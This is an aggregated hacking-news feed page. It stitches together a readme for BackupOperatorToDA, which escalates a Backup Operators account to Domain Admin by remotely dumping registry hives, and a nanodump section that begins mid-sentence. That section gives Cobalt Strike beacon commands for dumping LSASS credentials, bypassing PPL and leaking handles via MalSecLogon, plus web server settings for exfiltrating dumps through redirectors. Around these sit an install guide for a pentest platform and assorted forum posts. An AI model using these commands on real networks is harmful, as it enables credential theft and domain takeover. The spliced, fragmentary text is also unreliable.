Kali Linux Tutorials
BackupOperatorToDA : From An Account Member Of The Group Backup Operators To Domain Admin

BackupOperatorToDA, From An Account Member Of The Group Backup Operators To Domain Admin Without RDP Or WinRM On The Domain Controller.

If you compromise an account member of the group Backup Operators you can become the Domain Admin without RDP or WinRM on the Domain Controller.

All credit from filip_dragovic with his inital POC ! I build this project because I wanted to have a more generic binary with parameters and also being able to export the SAM database on the remote share !

PS C:\Users\mpgn\POC> .\BackupOperatorToDA.exe -h
Backup Operator to Domain Admin (by @mpgn_x64)
This tool exist thanks to @filip_dragovic / https://github.com/Wh04m1001
Mandatory argument:
-t \computer_name (ex: \dc01.pouldard.wizard
-o Where to store the sam / system / security files (can be UNC path)
Optional arguments:
-u Username
-p Password
-d Domain
-h help

Example:

* Using the user RON member of the Backup Operators group on another server than the DC
* I dump and export the SAM database on the remote share
* Then I read the SAM file with secretdump
* An I use the computer account fo the DC to dump the NTDS !

What’s the magic ?

The code is really simple, there is only 3 steps:

* RegConnectRegistryA: Establishes a connection to a predefined registry key on another computer.
* RegOpenKeyExA: Opens the specified registry key
* RegSaveKeyA: Saves the specified key and all of its subkeys and values to a new file

Blackfield from HackTheBox

This box was designed by aas_s3curity to exploit a user from the group “Backup Operators” to become domain admin and get the root flag. I search a little bit on the available writeups but all of them where using WinRM to exploit the “Backup Operators” group.

With this POC you don’t need to have an access with WinRM or RPD :
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglJ4Mi-qLbPl6gP87Z_8Upkoza6T1Lx0nAVDy6HuY_BrzT-vZ_a7_k4p9BDymtKFbdYYhmqAnyKXEgAaj6k-NGSVA7TKpLUOA5ybxKWSRhXt0LkvjqBRtL8hUlch2ez7PmYb5RhAYygCGu3TmnjucvQIeRgZtwJaeeMELbuAOY4tI-DFS3O-JwMuit/s1374/154149493-094cada5-61a5-431d-b95c-ae5be6f65ee1.png

Download

___________________________
@hacking_Attack
@Hacking_Video

f used with no parameters, an unsigned nanodump DLL will be uploaded to the Temp folder. Once the dump has been created, manually delete the DLL with the delete_filecommand.

beacon> load_ssp
beacon> delete_file C:\Windows\Temp[RANDOM].dll PPL bypassIf LSASS is running as Protected Process Light (PPL), you can try to bypass it using a userland exploit discovered by Project Zero. If it is successful, the dump will be written to disk.

To access this feature, use the nanodump_pplcommand

beacon> nanodump_ppl -v -w C:\Windows\Temp\lsass.dmp Parameters–getpidGet PID of LSASS and leave.
This is just for convenience, nanodump does not need the PID of LSASS. –write -w < path > (required for EXE)Where to write the dumpfile.

* BOF: If this parameter is not provided, the dump will be downloaded in a fileless manner.
* EXE: This parameter is required given that no C2 channel exists –valid -vThe minidump will have a valid signature.
If not entered, the signature will be invalid. Before analyzing the dump restore the signature of the dump, with: scripts/restore_signature –fork -fFork LSASS and dump this new process. –snapshot -sCreate a snapshot of LSASS and dump this new process. –dup -dTry to find an existing handle to LSASS and duplicate it. –malseclogon -mLeak a handle to LSASS using MalSecLogon.
If used as BOF, an unsigned binary will be written to disk unless –dup is also provided! –binary -b < path >Path to a binary such as C:\Windows\notepad.exe.
This option is used exclusively with --malseclogonand --dup. ExamplesRead LSASS indirectly by creating a fork and write the dump to disk with an invalid signature:

beacon> nanodump –fork –write C:\lsass.dmp

Use MalSecLogon to leak an LSASS handle in a notepad process, duplicate that handle to get access to LSASS, then read it indirectly by creating a fork and download the dump with a valid signature:

beacon> nanodump –malseclogon –dup –fork –binary C:\Windows\notepad.exe –valid

Get a handle with MalSecLogon, read LSASS indirectly by using a fork and write the dump to disk with a valid signature (a nanodump binary will be uploaded!):

beacon> nanodump –malseclogon –fork –valid –write C:\Windows\Temp\lsass.dmp HTTPS redirectorsIf you are using an HTTPS redirector (as you should), you might run into issues when downloading the dump filessly due to the size of the requests that leak the dump.
Increase the max size of requests on your web server to allow nanodump to download the dump. NGINXlocation ~ ^…$ {
…
client_max_body_size 50M;
}

Apache2

LimitRequestBody 52428800 Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to catch a Reverse shell over the Internet

https://cdn-images-1.medium.com/max/1004/0*FsTiPB2OhS23_W0d.png
In this blog, I talk about exposing one local port to the internet and using it to catch reverse shells like we would do in any local…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Best article about how to start hacking

https://toptrend009.blogspot.com/2022/06/how-to-learn-hacking-from-zero.html

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Symfonos:4 Vulnhub Walkthrough

https://cdn-images-1.medium.com/max/881/0*o-FoJXP8N46Cw_8G
Symfonos:4 Vulnhub Walkthrough

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Why I Applied for Tech Fellowship Though I am not a Good Programmer

https://cdn-images-1.medium.com/max/1267/1*jZD79qzEbyZ_atHH8zGN1w.jpeg
Last May, I got an email from Major League Hacking, an organization that plans hackathons and tech events. I subscribed to receive their…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Capital One Hacked by an Ex-Amazon Employee

https://cdn-images-1.medium.com/max/600/0*4NVEW6EKdwVRFbHc
A former Amazon web services employee was convicted after stealing data of over 100 million people, including social security numbers and…

Continue reading on Cybersecurity and Cyber Crime »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Cervantes - Collaborative Platform For Pentesters Or Red Teams Who Want To Save Time To Manage Their Projects, Clients, Vulnerabilities And Reports In One Place

https://blogger.googleusercontent.com/img/a/AVvXsEgYS0f96ejBYQV1yTPRDyheJ997s0FUvi3F7OiJJvH6quMi4Yd7rvyYEGE2P6GmfNsOvWl_FiY0GyO3-FyXBcCbB3tNQhnuL-GmgvAD3H4cKgYO7QywtKixz54qxp_ut1yu-H8IELj0af_ZPya2sbVzXROFujOZu9HEIfVgq8bsr2TG9-XfmpBE42MK=s16000
Cervantes is an opensource collaborative platform for pentesters or red teams who want to save time to manage their projects, clients, vulnerabilities and reports in one place.

Features

* OpenSource
* Multiplatform
* Multilanguage
* Team Collaboration
* BuiltIn dashbaords and analytics
* Manage your clients and Offensive Security projects
* One click reports creation
* And more
Runtime requirements

* Docker
* Docker compose

How to run it locally with Docker compose

1. First you need to clone this repository

git clone https://github.com/CervantesSec/docker.git

1. After that you need to start your docker containers:

docker-compose -p Cervantes up -d

1.
After this, open your browser at http://localhost

2.
Default User is:
admin@cervantes.local - Admin123.

How to run it locally from source

1.
Install dotnet sdk from https://dotnet.microsoft.com/en-us/download

2.
Install PostgreSQL https://www.postgresql.org/download/

3.
Clone this repository
git clone https://github.com/CervantesSec/cervantes.git

1. In Cervantes.Web -> appsettings.json edit the DefaultConnection with your database parameters

{
"ConnectionStrings": {
"DefaultConnection": "Server=localhost;Database=cervantes;Username=postgres;Password=postgres"
},
"Logging": {
"LogLevel": {
"Default": "Trace",
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information",
"Cervantes.*": "Trace"
}
},
"AllowedHosts": "*",
"EmailConfiguration": {
"SmtpServer": "smtp.office365.com",
"SmtpPort": 587,
"SmtpUsername": "EMAIL",
"SmtpPassword": "PASSWORD"
}
}

1.
NOTE if your using linux install wkhtmltopdf and and copy the wkhtmltopdf and wkhtmltoimage from /usr/bin to /CERVANTES_PATH/Cervantes.Web/wwwroot/Rotativa/Linux/

2.
Run the project
dotnet run --project /CERVANTES_PATH/Cervantes.Web/

1.
After this, open your browser at http://localhost:5001

2.
Default User is:
admin@cervantes.local - Admin123.

How to contribute

Here are some things you could do to become a contributor:

* ★ Star this project on Github ★
* Suggest new features or ideas
* Improve the code of the platform components
* Report security issues

Before you jump to make any changes make sure you have read the contributing guidelines. This would save us all time. Thanks!

How to report bugs

If you have bugs to report please use the issues tab on Github to submit the details.
Download Cervantes

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
AOL 3.0 reverse engineered - Using AOL (1996) in 2022

https://external-preview.redd.it/DngsOAcw-cxg5v-npE47WNC3N1tg9iAQlhnq7FHJPzU.jpg?width=320&crop=smart&auto=webp&s=3be65b5f71e84542d0a8a09c324a128d45ef226a submitted by /u/endless
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacking is dead!

Hacking and breaking is completely dead! Now there is no way to break into systems remotely and phish someone because everyone has/have 200 IQ nowadays, hmm we're wasting our time to learn stupid hacks. And look at these poor youtubers who are repeating same things again and again and showing stupid tools like "Hydra" annnnnnddd "Metasploit", really just imagine these stupid freaking dire names which makes no sense. Haha lol I spent almost 5 years learning everything and now I'm full and I know everything better than every youtuber and everyone who call himself genius. I don't use other people useless tools like Meeetaaasploitttt because I can create my own tools, but still even someone like me didn't hack anything til now then how and why these fucking youtubers making fake useless old tips tricks and fake stories all the time which makes no fucking real sense! Hmmm you started calling yourself a hacker because you can hack wifi, oooooo thats good becauseee this is not something big you proud of because everyone can do that if the router has stupid poor password, Lol I mean what heck is really going on in this fucking world, Lolllllll hacking is nothing not even a name, humans are believing in this cartoon screen technology hahhaha hell... I'm out now, I'm on my own, there is nothig left now to learn but still all of that are useless, Fuck the term Hacking!!! Have a nice day.

submitted by /u/ak_invisible
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can NFC be accessed directly from a phone?

This is more of a proof of concept project. So I know phones have NFC writers on them, and I've also heard some hackers just use the proxmark as a card, so couldn't you also just hold your phone up to the reader? That is how apple pay works isn't it?

submitted by /u/lt_Matthew
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do hackers steal cookies?

My Instagram got hacked today. I don't think they guessed my password. They probably stole my cookies but how.

I use chrome btw.

submitted by /u/Fearless-Lunch-6451
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
AV Scan Sites

What’s everyone favorite non-distributive site to check your code?

submitted by /u/3DMilk
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Someone tried to login to 4 websites with my login and DIFFERENT PASSWORDS. How could it happen?

This night someone tried to login to 4 random websites with my user/pass. They failed because of 2 step authentications I had in place. However, seems like the password they had was correct.
The 4 websites were: N26, ePayments, Coinbase, Upwork

1. ALL the 4 passwords were different (however, I have a certain logic behind my passwords and it is unlikely but still possible to figure it out if you know one of the passwords)
2. One of the users was even different (the first 3 were using one email and the 4th website was using another email as a user)
3. No one had physical access to my PC.
4. My passwords are stored in Google Chrome passwords. No one had access to my Google account last night or in the past. I checked.
5. I didn't login to 2 of the websites for a couple of years (in other words no chance I used them on someone else's PC recently)
6. There is one server with my Chrome user logged in on it. So in theory someone could access the server and from there it would log him in autoamtically to all the 4 websites.
Therefore, I checked the RDP connection details and there was nothing unauthorized.
I checked Teamviewer log and there was nothing there neither.
I checked Chrome history and there was nothing there.
I realize that all the 3 things maybe could have been deleted after using, but I really doubt that..
Morever, the hack logins were done from UK and my server is not in UK. Unless someone used a proxy on my server.. another big doubt.
7. My impression is that somehow someone discovered the passwords to all the 4 websites on the same night..
Does anyone else has an idea what can it be?

submitted by /u/favsync
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video